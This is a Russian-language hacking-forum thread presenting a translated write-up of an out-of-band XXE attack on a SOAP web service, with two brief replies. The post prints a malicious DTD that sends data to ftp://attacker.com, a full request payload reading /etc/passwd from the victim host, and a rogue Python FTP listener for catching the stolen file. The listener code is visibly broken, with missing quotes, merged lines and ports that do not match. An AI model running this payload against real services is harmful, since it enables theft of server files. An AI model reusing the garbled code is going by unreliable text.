• XSS.stack #1 – первый литературный журнал от юзеров форума

Очень крутой XXE-баг в веб-сервисе

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
XXE - отличный способ атаки для чтения файлов из уязвимых веб-приложений. Я нашел XXE-ошибку в веб-службе SOAP во время пентеста. Этапы эксплуатации:

1*NX0rthUMiuBlnt5f-tkRLw.png

Общий сценарий

У меня на сервере был специально созданный FTP-сервер на python (код приведен в конце этой записи). Итак, я направил этот сервер слушать порт TCP/8443.

Затем я создал «evil.dtd» в своем каталоге веб-сервера (/var/www/html/evil.dtd). Содержание evil.dtd было:
Код:
<!ENTITY % param3 “<!ENTITY &#x25; exfil SYSTEM ‘ftp://attacker.com:8443/%data3;'>">

Затем я отправил следующий HTTP-запрос на хост жертвы с вот таким payload:
Код:
Request:
POST /SomeEndpoint HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: “http://xmlns.victim.com/SomeEndpoint"
Content-Length: 177
Host: ws.victim.com:9443
[…]
<?xml version=”1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM “file:///etc/passwd”>
<!ENTITY % sp SYSTEM “http://attacker.com/evil.dtd">
%sp;
%param3;
%exfil;
]>
В результате мы могли видеть в терминале с нашего сервера содержимое файла жертвы /etc/passwd (через наш FTP-сервер).

Специально созданный код на Python ftp.py сервера
Python:
#!/usr/env/python
from __future__ import print_function import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind((0.0.0.0,80))
s.listen(1)
print(‘XXE-FTP listening ‘)
conn,addr = s.accept() print(‘Connected by %s’,addr) conn.sendall(220 Staal XXE-FTP\r\n’) stop = False
while not stop:
dp = str(conn.recv(1024))
if dp.find(“USER”) > -1:
conn.sendall(331 password please — version check\r\n”) else:
conn.sendall(230 more data please!\r\n”) if dp.find(“RETR”)==0 or dp.find(“QUIT”)==0:
stop = True
if dp.find(“CWD”) > -1:
print(dp.replace(‘CWD ‘,/,1).replace(‘\r\n’,’’),end=’’) else:
print(dp)
conn.close()
s.close()

Надеюсь, вам понравилась атака и написанное мною :)


оригинальная заметка
автор @soyelmago
Перевод: tabac, специально для https://xss.pro
 
Вообще обычная XXE, банальнейшая, единственное "отснифал" через жопу с костылями. ЛОООЛ
Через бёрп + коллаборатор = можно делать это вообще без лишних движений в два клика. И на сайте портсвиггера (они же авторы "отрыжки") и то больше инфы
 
Метод чтения произвольных файлов через FTP уже давно извесен. Более того исправлен, а автору повезло, что использовалась легаси Java
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх